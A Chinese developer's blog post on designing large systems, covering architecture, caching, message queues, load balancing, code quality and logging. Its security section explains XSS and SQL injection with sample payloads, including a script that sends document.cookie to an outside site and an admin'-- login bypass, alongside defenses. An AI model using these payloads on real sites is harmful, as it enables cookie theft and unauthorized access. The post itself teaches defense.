開(kāi)發(fā)人員學(xué)Linux之終結(jié)篇：大型系統(tǒng)開(kāi)發(fā)經(jīng)驗(yàn)談

一、前言

這篇文章來(lái)源于我的一個(gè) PPT，而這個(gè) PPT 是源于一個(gè)朋友的一次邀請(qǐng)，朋友邀請(qǐng)我為一個(gè)公司做一堂大約 2 小時(shí)的技術(shù)講座，我選定的方向是《如何開(kāi)發(fā)一個(gè)大型系統(tǒng)》

在這里我對(duì)大型系統(tǒng)的定義為：日均 PV 在千萬(wàn)級(jí)以上，而京東和淘寶這類則屬于巨型系統(tǒng)了。

因此在本篇中講述的都是基于一些開(kāi)源免費(fèi)的技術(shù)實(shí)現(xiàn)，至于那些通過(guò) F5 硬件加速、DNS 來(lái)實(shí)現(xiàn)負(fù)載均衡、CDN 加速等需要花錢購(gòu)買的技術(shù)或者服務(wù)則不再本篇介紹范圍之類。

本來(lái)此篇是作為《開(kāi)發(fā)人員學(xué)Linux》系列的終結(jié)篇最后出現(xiàn)的，但是考慮到在此過(guò)程中我可能會(huì)由于時(shí)間和精力原因無(wú)法全部完成或者由于關(guān)注點(diǎn)在別的方向而無(wú)法終結(jié)，所以提前把這篇先寫了。

二、從兩個(gè)系統(tǒng)說(shuō)起

2.1 某移動(dòng)互聯(lián)網(wǎng)公司服務(wù)器端架構(gòu)圖

上圖是某移動(dòng)互聯(lián)網(wǎng)公司的服務(wù)器端架構(gòu)圖，它支撐了國(guó)內(nèi)外數(shù)百萬(wàn)客戶端的訪問(wèn)請(qǐng)求，它有如下特點(diǎn)：

1、多層級(jí)集群，從Web服務(wù)器層、NoSQL層級(jí)數(shù)據(jù)庫(kù)層都實(shí)現(xiàn)了集群，這樣使得每一層的響應(yīng)時(shí)間大大縮短，從而能夠在單位時(shí)間內(nèi)響應(yīng)更多請(qǐng)求；

2、NoSQL應(yīng)用（Memcached)，在NoSQL領(lǐng)域Memcached和Redis都有大量的用戶群，在這個(gè)架構(gòu)里使用的是Memcached。

3、數(shù)據(jù)庫(kù)讀寫分離，當(dāng)前大多數(shù)數(shù)據(jù)庫(kù)服務(wù)器支持主從機(jī)制或訂閱發(fā)布機(jī)制，這樣一來(lái)就為讀寫分離創(chuàng)造了條件，減少了數(shù)據(jù)庫(kù)競(jìng)爭(zhēng)死鎖出發(fā)條件，使響應(yīng)時(shí)間大為縮短（非數(shù)據(jù)庫(kù)集群情況下還可以考慮分庫(kù)機(jī)制）。

4、負(fù)載均衡，Nginx實(shí)現(xiàn)Web服務(wù)器的負(fù)載均衡，Memcached自帶負(fù)載均衡實(shí)現(xiàn)。（注：Nginx負(fù)載均衡在本系列應(yīng)涉及，感興趣請(qǐng)移步觀看）。

2.2 某公司生產(chǎn)管理系統(tǒng)架構(gòu)圖

上圖是為某公司的一個(gè)分散型系統(tǒng)做的架構(gòu)設(shè)計(jì)，這家公司擁有多個(gè)跨市、跨省的生產(chǎn)片區(qū)，在各片區(qū)都有自己的生態(tài)車間，各片區(qū)與總公司之間通過(guò)數(shù)據(jù)鏈路連接。

這個(gè)系統(tǒng)的特點(diǎn)是所有的流水線上的產(chǎn)品都貼有唯一的條碼，在生產(chǎn)線的某個(gè)操作位操作之前都會(huì)掃描貼在產(chǎn)品上的條碼，系統(tǒng)會(huì)根據(jù)條碼做一些檢查工作，如：產(chǎn)品條碼是否應(yīng)被使用過(guò)（比如之前應(yīng)發(fā)貨給客戶過(guò)）、產(chǎn)品是否完成了本道工序之前的全部必須完成工序，如果滿足條件則記錄當(dāng)前操作工序名稱、操作人、操作時(shí)間和操作結(jié)果等。

一件產(chǎn)品從上線到完成有數(shù)十道工序，而每月下線的產(chǎn)品有少則數(shù)十萬(wàn)、多則數(shù)百萬(wàn)，一個(gè)月下來(lái)的數(shù)據(jù)量也是不小的。特別是在跨廠區(qū)網(wǎng)絡(luò)不穩(wěn)定的情況下如何保證對(duì)生產(chǎn)的影響最小。

本系統(tǒng)架構(gòu)特點(diǎn)：

● 所有業(yè)務(wù)邏輯集中在服務(wù)器端，并以 Service 形式提供，這樣便于業(yè)務(wù)邏輯調(diào)整客戶端能及時(shí)得到最新更新；

● 部署 Service 的服務(wù)器采用集群部署，Nginx 實(shí)現(xiàn)調(diào)度；

● NoSQL 采用了 Redis，與 Memcached 相比，Redis 支持的數(shù)據(jù)類型更多，同時(shí) Redis 帶有持久化功能，可以將每個(gè)條碼對(duì)應(yīng)的產(chǎn)品的最終信息存儲(chǔ)在 Redis 當(dāng)中，這樣一般的查詢工作（如條碼是否被使用、產(chǎn)品當(dāng)前狀態(tài)）都可以在Redis中查詢而不是數(shù)據(jù)庫(kù)查詢，這樣大大減輕了數(shù)據(jù)庫(kù)壓力；

● 數(shù)據(jù)庫(kù)采用了主從機(jī)制，實(shí)現(xiàn)了讀寫分離，也是為了提高響應(yīng)速度；

● 使用了消息隊(duì)列 MQ和 ETL，將一些可以異步處理的動(dòng)作存放在 MQ 中，然后由 ETL 來(lái)執(zhí)行（比如訂單完成后以郵件形式通知相關(guān)人員）；

● 實(shí)現(xiàn)了系統(tǒng)監(jiān)控，通過(guò) Zabbix 來(lái)對(duì)服務(wù)器、應(yīng)用及網(wǎng)絡(luò)關(guān)鍵設(shè)備實(shí)行 7×24 小時(shí)監(jiān)控，重大異常及時(shí)郵件通知IT支持人員。

由于總部其它地方生產(chǎn)規(guī)模較小，所以生產(chǎn)分布未采用復(fù)雜架構(gòu)，不過(guò)因?yàn)閺目蛻籼幫嘶氐牟涣籍a(chǎn)品都會(huì)在總部生產(chǎn)車間進(jìn)行返修處理，因此總部生產(chǎn)系統(tǒng)需要保存分部生產(chǎn)車間數(shù)據(jù)，因此分部生產(chǎn)車間數(shù)據(jù)會(huì)同時(shí)寫進(jìn)分部生產(chǎn)數(shù)據(jù)庫(kù)和分部 MQ 服務(wù)器，然后由總部 ETL 服務(wù)器讀取寫入到總部系統(tǒng)中。

在分部與總部網(wǎng)絡(luò)中斷的情況下分部系統(tǒng)仍可獨(dú)立工作，直到網(wǎng)絡(luò)恢復(fù)。

三、系統(tǒng)質(zhì)量保證

3.1單元測(cè)試

單元測(cè)試是指對(duì)軟件中的最小可測(cè)試單元進(jìn)行檢查和驗(yàn)證。通常而言，一個(gè)單元測(cè)試是用于判斷某個(gè)特定條件（或者場(chǎng)景）下某個(gè)特定函數(shù)的行為，常見(jiàn)的開(kāi)發(fā)語(yǔ)言都有對(duì)應(yīng)的單元測(cè)試框架，常見(jiàn)的單元測(cè)試工具：

Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool

關(guān)于單元測(cè)試的重要性和如何編寫單元測(cè)試用例，在本篇就不詳述了，網(wǎng)上有大量相關(guān)的文章?？傊?，越大型的系統(tǒng)、越重要的系統(tǒng)，單元測(cè)試的重要性越大。

針對(duì)一些需要外部依賴的單元測(cè)試，比如需要 Web 容器等，可以使用 mock 測(cè)試，Java 測(cè)試人員可以使用EasyMock這個(gè)測(cè)試框架，其網(wǎng)址是：http://easymock.org/

3.2 代碼質(zhì)量管理平臺(tái)

對(duì)于多人參與的團(tuán)隊(duì)項(xiàng)目，雖然大多數(shù)情況下會(huì)有編碼規(guī)范拉指導(dǎo)大家如何編寫團(tuán)隊(duì)風(fēng)格一致的編碼，但是不能保證團(tuán)隊(duì)中每個(gè)成員、尤其是后期加入的團(tuán)隊(duì)成員仍能按照編碼規(guī)范來(lái)編寫代碼，因此需要有一個(gè)平臺(tái)來(lái)保證，在這里推薦 SonarQube。

SonarQube 是一個(gè)開(kāi)源平臺(tái)，用于管理源代碼的質(zhì)量。Sonar 不只是一個(gè)質(zhì)量數(shù)據(jù)報(bào)告工具，更是代碼質(zhì)量管理平臺(tái)。支持的語(yǔ)言包括：Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。主要特點(diǎn)：

● 代碼覆蓋：通過(guò)單元測(cè)試，將會(huì)顯示哪行代碼被選中

● 改善編碼規(guī)則

● 搜尋編碼規(guī)則：按照名字，插件，激活級(jí)別和類別進(jìn)行查詢

● 項(xiàng)目搜尋：按照項(xiàng)目的名字進(jìn)行查詢

● 對(duì)比數(shù)據(jù)：比較同一張表中的任何測(cè)量的趨勢(shì)

當(dāng)然除了代碼質(zhì)量管理平臺(tái)外，還有借助源代碼管理系統(tǒng)，并且在每次提交代碼前進(jìn)行代碼審核，這樣每次代碼的異動(dòng)都可以追溯出來(lái)。

我管理和經(jīng)歷過(guò)的一些重要系統(tǒng)中采用過(guò)這樣的做法：除了管理所有程序代碼之外，還將系統(tǒng)中數(shù)據(jù)庫(kù)中的表、視圖、函數(shù)及存儲(chǔ)過(guò)程的創(chuàng)建都使用源代碼版本管理工具管控起來(lái)，而且粒度很小，每個(gè)對(duì)象的創(chuàng)建都是一個(gè) SQL 文件。

這種方式雖然操作起來(lái)有些瑣碎，但對(duì)于代碼的變遷追溯非常方便。

四、系統(tǒng)性能保證

4.1 緩存

所謂緩存就是將一些頻繁使用、但改動(dòng)相對(duì)不平凡的數(shù)據(jù)保存在內(nèi)存中，每次更新這些數(shù)據(jù)的時(shí)候同時(shí)持久化到數(shù)據(jù)庫(kù)或文件系統(tǒng)，并同時(shí)更新到緩存中，查詢的時(shí)候盡可能利用緩存。

緩存的實(shí)現(xiàn)方法：自定義實(shí)現(xiàn)或利用NoSQL。

自定義實(shí)現(xiàn)：自定義實(shí)現(xiàn)可利用SDK中提供的類，如Dictionary等。

優(yōu)點(diǎn)：可以局部提高查詢效率；

缺點(diǎn)：不能跨應(yīng)用、跨服務(wù)器，僅限于單個(gè)應(yīng)用；沒(méi)有較好緩存生命周期管理策略。

NoSQL

Memcached

優(yōu)點(diǎn)：可以跨應(yīng)用、跨服務(wù)器，有靈活的生命周期管理策略；支持高并發(fā)；支持分布式。

缺點(diǎn)：不支持持久化，僅在內(nèi)存存儲(chǔ)，重啟后數(shù)據(jù)丟失，需要“熱加載”；僅支持Key/Value.

Redis

優(yōu)點(diǎn)：可以跨應(yīng)用、跨服務(wù)器，有靈活的生命周期管理策略；支持高并發(fā)；支持集群；支持持久化;支持Key/Value、List、Set、Hash數(shù)據(jù)結(jié)構(gòu)；

以上幾種方法都存在一個(gè)特點(diǎn)：需要通過(guò)Key去尋找對(duì)應(yīng)的Value、List、Set或Hash。

除了Memcached和Redis之外，還出現(xiàn)了一些NoSQL數(shù)據(jù)庫(kù)和支持NoSQL的數(shù)據(jù)庫(kù)，前者如MongoDB，后者如PostgreSQL（>V9.4），下面是一個(gè)MongoDB與PostgreSQL的NoSQL特性的對(duì)比：

文檔型 NoSQL 數(shù)據(jù)庫(kù)的特點(diǎn)：

（1）不定義表結(jié)構(gòu)

　　   即使不定義表結(jié)構(gòu)，也可以像定義了表結(jié)構(gòu)一樣使用，還省去了變更表結(jié)構(gòu)的麻煩。

（2）可以使用復(fù)雜的查詢條件

　　   跟鍵值存儲(chǔ)不同的是，面向文檔的數(shù)據(jù)庫(kù)可以通過(guò)復(fù)雜的查詢條件來(lái)獲取數(shù)據(jù)，雖然不具備事務(wù)處理和Join這些關(guān)系型數(shù)據(jù)庫(kù)所具有的處理能力，但初次以外的其他處理基本上都能實(shí)現(xiàn)。

nosql 主要是提高效率，關(guān)系數(shù)據(jù)庫(kù)可以保證數(shù)據(jù)安全；各有使用場(chǎng)景，一般的企業(yè)管理系統(tǒng)，沒(méi)多少并發(fā)量沒(méi)必要使用 nosql，互聯(lián)網(wǎng)項(xiàng)目或要求并發(fā)的 nosql 使用比較多，但是最終重要的數(shù)據(jù)還是要保存到關(guān)系數(shù)據(jù)庫(kù)。

這也是為什么很多公司會(huì)同時(shí)使用 NoSQL 和關(guān)系型數(shù)據(jù)庫(kù)的原因。

4.2 異步

所謂異步就是調(diào)用一個(gè)方法后并不等該方法執(zhí)行完畢后再繼續(xù)執(zhí)行后續(xù)的操作，而是調(diào)用完畢后馬上等待用戶的其它指令。

打印機(jī)管理程序就是一個(gè)異步的例子，某個(gè)人可能有幾個(gè)數(shù)百頁(yè)的文檔需要打印，可以在打開(kāi)一個(gè)文檔之后點(diǎn)擊打印，然后繼續(xù)打開(kāi)另一個(gè)文檔繼續(xù)點(diǎn)打印。盡管打印數(shù)百頁(yè)文檔需要較長(zhǎng)時(shí)間，但后續(xù)的打印請(qǐng)求會(huì)在打印管理程序中排隊(duì)，等第一個(gè)文檔打印完成后再繼續(xù)第二個(gè)文檔的打印。

異步有兩個(gè)層面：編程語(yǔ)言層面的異步和通過(guò)消息隊(duì)列等機(jī)制實(shí)現(xiàn)的異步。

語(yǔ)法層面異步：像Java/C#等大多數(shù)語(yǔ)言都支持異步處理

消息隊(duì)列實(shí)現(xiàn)異步

用消息隊(duì)列實(shí)現(xiàn)異步只是消息隊(duì)列的一個(gè)基本功能之一，消息隊(duì)列還具有如下功能：

● 解耦

● 靈活性 & 峰值處理能力

● 可恢復(fù)性

● 送達(dá)保證

● 排序保證

● 緩沖

● 理解數(shù)據(jù)流

● 異步通信

注：消息隊(duì)列成為在進(jìn)程或應(yīng)用之間進(jìn)行通信的最好形式。消息隊(duì)列隊(duì)列是創(chuàng)建強(qiáng)大的分布式應(yīng)用的關(guān)鍵。

常用消息隊(duì)列有如下，可根據(jù)系統(tǒng)特點(diǎn)和運(yùn)維支持團(tuán)隊(duì)的掌握程度選擇：

● MSMQ

● ActiveMQ

● RabbitMQ

● ZeroMQ

● Kafka

● MetaMQ

● RocketMQ

4.3負(fù)載均衡

負(fù)載均衡是根據(jù)某種負(fù)載策略把請(qǐng)求分發(fā)到集群中的每一臺(tái)服務(wù)器上，讓整個(gè)服務(wù)器群來(lái)處理網(wǎng)站的請(qǐng)求。

常見(jiàn)負(fù)載均衡方案

● Windows負(fù)載均衡：NLB

● Linux負(fù)載均衡：LVS

● Web負(fù)載均衡：Nginx

● 硬件級(jí)負(fù)載均衡：F5

前面幾種都是免費(fèi)的解決方案，F(xiàn)5 作為一種硬件及解決方案在一般企業(yè)很少用到。我目前知道的僅有一家世界級(jí)飲料公司使用了 F5 作為負(fù)載均衡解決方案，因?yàn)檫@個(gè)方案據(jù)說(shuō)相當(dāng)昂貴。

4.4 讀寫分離

讀寫分離為了確保數(shù)據(jù)庫(kù)產(chǎn)品的穩(wěn)定性，很多數(shù)據(jù)庫(kù)擁有雙機(jī)熱備功能。

也就是，第一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器，是對(duì)外提供增刪改業(yè)務(wù)的生產(chǎn)服務(wù)器；第二臺(tái)數(shù)據(jù)庫(kù)服務(wù)器，主要進(jìn)行讀的操作。

原理：

讓主數(shù)據(jù)庫(kù)（master）處理事務(wù)性增、改、刪操作（INSERT、UPDATE、DELETE），而從數(shù)據(jù)庫(kù)（slave）處理SELECT查詢操作。

一般情況下我們是在代碼中進(jìn)行處理，但目前也有不少商業(yè)中間件形式的讀寫分離中間件，能自動(dòng)將讀寫數(shù)據(jù)庫(kù)操作調(diào)度到不同數(shù)據(jù)庫(kù)上。

在大型系統(tǒng)中，有時(shí)候主、從數(shù)據(jù)庫(kù)都是一個(gè)集群，這樣可以保證響應(yīng)速度更快，同時(shí)集群中單臺(tái)服務(wù)器故障也不影響整個(gè)系統(tǒng)對(duì)外的響應(yīng)。

五、系統(tǒng)安全性保證

5.1XSS***

防范XSS***
XSS***類似于SQL注入***，***之前，我們先找到一個(gè)存在XSS漏洞的網(wǎng)站，XSS漏洞分為兩種，一種是DOM Based XSS漏洞，另一種是Stored XSS漏洞。理論上，所有可輸入的地方?jīng)]有對(duì)輸入數(shù)據(jù)進(jìn)行處理的話，都會(huì)存在XSS漏洞，漏洞的危害取決于***代碼的威力，***代碼也不局限于script。

DOM Based XSS
DOM Based XSS是一種基于網(wǎng)頁(yè)DOM結(jié)構(gòu)的***，該***特點(diǎn)是中招的人是少數(shù)人。

Stored XSS
Stored XSS是存儲(chǔ)式XSS漏洞，由于其***代碼已經(jīng)存儲(chǔ)到服務(wù)器上或者數(shù)據(jù)庫(kù)中，所以受害者是很多人。假如有兩個(gè)頁(yè)面，一個(gè)負(fù)責(zé)提交內(nèi)容，一個(gè)負(fù)責(zé)將提交的內(nèi)容（論壇發(fā)帖、讀帖就是這種形式的典型）：
提交內(nèi)容：<script>window.open(“www.b.com?param=”+document.cookie)</script>
頁(yè)面內(nèi)容：<%=request.getParameter("content")%>

這樣用戶在a站提交的東西，在顯示的時(shí)候如果不加以處理就會(huì)打開(kāi)b站頁(yè)面將相關(guān)敏感內(nèi)容顯示出來(lái)。
針對(duì)XSS***的防范辦法：
Html encode
特殊字符過(guò)濾：<,>

5.2 SQL注入

SQL Injection

所謂SQL注入式***，就是***者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串，欺騙服務(wù)器執(zhí)行惡意的SQL命令。

在某些表單中，用戶輸入的內(nèi)容直接用來(lái)構(gòu)造（或者影響）動(dòng)態(tài)SQL命令，或作為存儲(chǔ)過(guò)程的輸入?yún)?shù)，這類表單特別容易受到SQL注入式***。

例如我們?cè)诘卿浺粋€(gè)系統(tǒng)時(shí)，在軟件底層按照如下方式查詢數(shù)據(jù)：
登錄SQL語(yǔ)句： SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456‘
SELECT COUNT(*) FROM Login
WHERE UserName='admin'–
Password='123'

針對(duì)SQL注入防范辦法：
● 數(shù)據(jù)輸入驗(yàn)證
● 特殊字符過(guò)濾：特殊字符過(guò)濾
● 參數(shù)化SQL語(yǔ)句（包括存儲(chǔ)過(guò)程）
● 不使用sa級(jí)別賬戶作為連接賬戶或限制連接IP

防范辦法：
● Html encode
● 特殊字符過(guò)濾：<,>
 
5.3 CSRF***

CSRF（Cross-site request forgery）跨站請(qǐng)求偽造，也被稱為“One Click Attack”或者Session Riding，通?？s寫為CSRF或者XSRF，是一種對(duì)網(wǎng)站的惡意利用。

盡管聽(tīng)起來(lái)像跨站腳本（XSS），但它與XSS非常不同，并且***方式幾乎相左。XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過(guò)偽裝來(lái)自受信任用戶的請(qǐng)求來(lái)利用受信任的網(wǎng)站。

與XSS***相比，CSRF***往往不大流行（因此對(duì)其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險(xiǎn)性。

其核心策略是利用了瀏覽器Cookie或者服務(wù)器Session策略，盜取用戶身份。

針對(duì)CSRF***防范辦法：
● 表單Token
● 驗(yàn)證碼
● Referer檢查
● 關(guān)鍵操作身份確認(rèn)

5.4 其它***

Error Code:即錯(cuò)誤代碼回顯，許多Web服務(wù)器為調(diào)試方便默認(rèn)顯示詳盡錯(cuò)誤信息，如錯(cuò)誤發(fā)生的上下文、服務(wù)器及應(yīng)用信息等，容易被惡意利用。

系統(tǒng)或者框架漏洞：如IIS6.0以下版本存在“JPG漏洞”；Apache Struts2服務(wù)在開(kāi)啟動(dòng)態(tài)方法調(diào)用任意方法漏洞（CVE-2016-3081）；OpenSSL的heartbeat漏洞（CVE-2014-0160）；Apache解析漏洞；Nginx（<V0.8.37)空字節(jié)代碼執(zhí)行漏洞；IIS7.0及Nginx（<V0.8.37)畸形解析漏洞；文件上傳漏洞；路徑遍歷漏洞；

防范辦法：
● 上傳文件時(shí)對(duì)MIME進(jìn)行檢查，必要情況下對(duì)上傳文件更名
● 及時(shí)關(guān)注安全網(wǎng)站及產(chǎn)品官方網(wǎng)站，發(fā)現(xiàn)漏洞及時(shí)打補(bǔ)丁
● 對(duì)Web Server運(yùn)用的用戶角色權(quán)限進(jìn)行限制
● 使用漏洞掃描工具模擬***

下面是一些我見(jiàn)過(guò)的被***后的系統(tǒng)截圖，如下圖是CCTV音樂(lè)頻道2008年被***的截圖：

還有本人2008年前后搭建PHPWind運(yùn)行的畫(huà)面：

上圖中是本人2006年前后搭建的一個(gè)論壇，有人利用系統(tǒng)漏洞注冊(cè)了很多用戶名為空的用戶（其實(shí)是身份遺失）,，然后又利用這些賬戶在論壇中大量發(fā)布廣告、×××等違法違紀(jì)的帖子，因?yàn)槭褂昧艘恍┎豢梢?jiàn)字符進(jìn)行注冊(cè)的，在后臺(tái)無(wú)法管理，最后只好在數(shù)據(jù)庫(kù)中操作管理了。

六、開(kāi)發(fā)相關(guān)的經(jīng)驗(yàn)教訓(xùn)

6.1應(yīng)用日志記錄

以前團(tuán)隊(duì)運(yùn)維著一個(gè)老系統(tǒng)，系統(tǒng)中沒(méi)有日志功能，而系統(tǒng)的操作人員的計(jì)算機(jī)水平又較低，每次打電話都是說(shuō)系統(tǒng)不能用或者是一些根本無(wú)法快速定位原因的描述，每次接到求助后需要花費(fèi)大量時(shí)間來(lái)分析定位原因，后來(lái)將系統(tǒng)中增加了日志功能，并且在網(wǎng)絡(luò)狀態(tài)連通情況下可自動(dòng)將錯(cuò)誤日志以郵件形式發(fā)送到負(fù)責(zé)同事組成的用戶組，自此以后處理這類問(wèn)題的響應(yīng)時(shí)間大大縮短了，雙方都很滿意。

現(xiàn)在已經(jīng)有很多開(kāi)源日志庫(kù)，比如.NET的Log4Net，Java的Log4j，可以很輕松地配置啟用日志功能。利用日志組件可以將信息記錄到文件或數(shù)據(jù)庫(kù)，便于發(fā)現(xiàn)問(wèn)題時(shí)根據(jù)上下文環(huán)境發(fā)現(xiàn)問(wèn)題，這一點(diǎn)在調(diào)試多線程時(shí)尤其重要。

日志級(jí)別：FATAL（致命錯(cuò)誤）、ERROR（一般錯(cuò)誤）、WARN（警告）、INFO（一般信息）、DEBUG（調(diào)試信息）。

注意：在調(diào)試環(huán)境中時(shí)日志級(jí)別盡量低（warn/info)，在生產(chǎn)環(huán)境中日志級(jí)別盡量高(error)，且對(duì)日志文件大小一定要進(jìn)行控制。不然也會(huì)產(chǎn)生問(wèn)題。

案例：某國(guó)內(nèi)有名的管業(yè)集團(tuán)公司的一個(gè)系統(tǒng)的重要模塊發(fā)生問(wèn)題，啟用了日志功能以便通過(guò)日志組件快速將問(wèn)題定位并修復(fù)。

在發(fā)布到生產(chǎn)環(huán)境時(shí)，運(yùn)行一段時(shí)間之后發(fā)現(xiàn)程序運(yùn)行效率相當(dāng)?shù)拖?，多位開(kāi)發(fā)人員對(duì)模塊代碼進(jìn)行性能分析未發(fā)現(xiàn)問(wèn)題，大家發(fā)現(xiàn)同樣的數(shù)據(jù)量和操作在生產(chǎn)環(huán)境和開(kāi)發(fā)環(huán)境效率差巨大，無(wú)意中發(fā)現(xiàn)生產(chǎn)服務(wù)器上日志文件已超過(guò)5G！事后發(fā)現(xiàn)是由于疏忽未調(diào)高日志級(jí)別且未對(duì)日志進(jìn)行控制，調(diào)整日志模式為按日記錄，問(wèn)題解除。

6.2歷史記錄追蹤

代碼管控：

盡可能使用代碼管控工具對(duì)源代碼進(jìn)行管控，如SVN/TFS/Git，如果有可能不但管控程序代碼，還要管控?cái)?shù)據(jù)庫(kù)相關(guān)的SQL文件（包括初始化腳本及存儲(chǔ)過(guò)程和使用ORM框架中的Mapping文件），做到系統(tǒng)的一切變動(dòng)皆有記錄。

代碼審核：
任何人提交代碼都必須本人本地編譯、調(diào)試無(wú)誤后，再有人review后方可提交，且針對(duì)bug修復(fù)的提交需注明所修復(fù)的bug信息。

Bug記錄：
通過(guò)Bug記錄系統(tǒng)記錄整個(gè)bug的生命周期，包括發(fā)現(xiàn)、修復(fù)、關(guān)閉。TFS本身支持bug記錄，開(kāi)源系統(tǒng)中禪道也是一個(gè)不錯(cuò)的Bug記錄工具。

七.總結(jié)

本篇主要是就系統(tǒng)從開(kāi)發(fā)到最終部署運(yùn)維過(guò)程中常用的技術(shù)、框架和方法做了一個(gè)總結(jié)，當(dāng)然以上經(jīng)驗(yàn)總結(jié)來(lái)源本人從業(yè)以來(lái)所經(jīng)歷的項(xiàng)目中的經(jīng)驗(yàn)和教訓(xùn)，可能還有更好更完美的方案，在此權(quán)當(dāng)拋磚引玉罷了。

聲明：本文首發(fā)于本人個(gè)人微信訂閱號(hào)：zhoujinqiaoIT，其后會(huì)同時(shí)在本人的CSDN、51CTO及oschina三處博客發(fā)布，本人會(huì)負(fù)責(zé)在此四處答疑。